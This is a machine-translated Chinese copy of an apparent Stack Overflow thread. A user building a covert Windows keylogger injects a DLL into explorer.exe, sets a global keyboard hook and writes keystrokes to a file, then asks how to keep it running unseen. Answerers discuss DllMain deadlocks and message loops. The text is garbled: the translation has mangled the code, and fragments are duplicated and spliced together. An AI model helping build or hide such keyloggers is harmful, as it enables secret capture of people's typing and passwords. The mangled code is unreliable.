C++ explorer.exe上注入的dll中的无限循环
我正在尝试在Windows7上创建一个键盘记录器。为此,我创建了一个Dll(C++ explorer.exe上注入的dll中的无限循环,c++,windows,dll-injection,C++,Windows,Dll Injection,我正在尝试在Windows7上创建一个键盘记录器。为此,我创建了一个Dll(setHook.Dll),并将其注入到explorer.exe的新线程中。在第一个DLL中,我打开了另一个DLL,其中包含对每个键盘输入调用的函数(hookfunc) 我需要让我的Dll在后台工作,因为如果它死了,我就失去了钩子函数。 为此,我尝试了: 睡眠(无限):工作片刻,但explorer.exe崩溃 while(1):工作片刻,但explorer.exe崩溃 系统(“暂停”):正在工作!但我不想在屏幕上出现控制
setHook.Dll
),并将其注入到explorer.exe的新线程中。在第一个DLL中,我打开了另一个DLL,其中包含对每个键盘输入调用的函数(hookfunc
)
我需要让我的Dll在后台工作,因为如果它死了,我就失去了钩子函数。
为此,我尝试了:
睡眠(无限)代码>:工作片刻,但explorer.exe崩溃
while(1)代码>:工作片刻,但explorer.exe崩溃
:正在工作!但我不想在屏幕上出现控制台,我的键盘记录器必须谨慎系统(“暂停”)
:与系统相同(“暂停”)李>getchar()
系统(“暂停>空”)代码>:访问被拒绝
:浏览器崩溃此线程::睡眠(时钟::秒(10))
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID)
{
HMODULE dll;
HOOKPROC addr;
HHOOK handle;
if (dwReason != DLL_PROCESS_ATTACH)
return true;
if (!(dll = LoadLibraryA("E:\\Projets\\Visual Studio 2013\\Projets\\inject\\x64\\Debug\\inject.dll")))
return false;
if (!(addr = (HOOKPROC)GetProcAddress(dll, "hookfunc")))
return false;
if (!(handle = SetWindowsHookEx(WH_KEYBOARD, addr, dll, 0)))
return false;
Sleep(INFINITE); //issue here
return true;
}
CallbackFunc:(我认为这没有帮助)
LRESULT回调hookfunc(int-code,WPARAM-WPARAM,LPARAM-LPARAM)
{
流文件的std::of;
字buf=0;
字节键状态[256];
打开(“E:\\function.txt”,std::ofstream::out | std::ofstream::app);
如果(代码>=0&&KEYUP(LPRAM))
{
if(wParam==VK_返回)
文件睡在德莱曼几乎肯定是个坏主意
我假设您正在尝试安装。为此,您需要在喷油器应用程序中运行,例如:
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
我的注入器应用程序就是这个Dll。我是被迫把所有这些代码放进注入器的吗?我这样做的目的是不让进程运行,否则你怎么加载你的代码?欺骗资源管理器加载你的Dll?这是我第一次创建Dll。关键是我只知道它是如何工作的,并在Dll中创建一个无限循环结果在一个死锁中,我正在尝试另一个解决方案,谢谢你的帮助,因为钩子是在Explorer的上下文中安装的,它已经有一个消息循环,我认为你不需要自己实现一个。@HarryJohnston,也就是说,如果钩子的安装也是由Explorer完成的。文档中特别提到obal挂钩必须具有主机应用程序泵消息,否则在某些情况下可能会死锁。您必须从DllMain返回,否则进程将挂起。从DllMain返回不会导致DLL卸载。
while(GetMessage(&msg, NULL, 0, 0 ))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}